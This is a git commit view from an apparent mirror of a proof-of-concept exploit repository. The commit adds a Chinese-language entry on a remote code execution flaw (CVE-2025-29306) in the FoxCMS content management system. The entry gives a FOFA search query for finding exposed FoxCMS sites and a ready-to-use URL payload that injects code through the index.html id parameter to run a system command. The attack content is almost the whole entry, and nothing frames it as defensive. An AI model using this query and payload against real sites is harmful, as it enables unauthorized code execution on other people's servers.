mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-05 18:27:10 +00:00
Update and rename 1.md to FOXCMS黔狐内容管理系统_远程代码执行漏洞(CVE-2025-29306).md
This commit is contained in:
parent
5de92c3176
commit
ed4351332b
@ -1 +0,0 @@
|
|||||||
|
|
@ -0,0 +1,12 @@
|
|||||||
|
# FOXCMS黔狐内容管理系统_远程代码执行漏洞(CVE-2025-29306)
|
||||||
|
|
||||||
|
# 漏洞简介
|
||||||
|
FoxCMS黔狐内容管理系统存在远程代码执行漏洞(CVE-2025-29306)。该漏洞存在于FoxCMS的index.html接口中,允许攻击者通过特定的输入执行远程代码,从而控制受影响的系统。
|
||||||
|
|
||||||
|
# fofa
|
||||||
|
body="foxcms-logo" || body="foxcms-container"
|
||||||
|
|
||||||
|
# poc
|
||||||
|
```
|
||||||
|
http://host/images/index.html?id=%24{%40print(system(%22id%22))
|
||||||
|
```
|
Loading…
x
Reference in New Issue
Block a user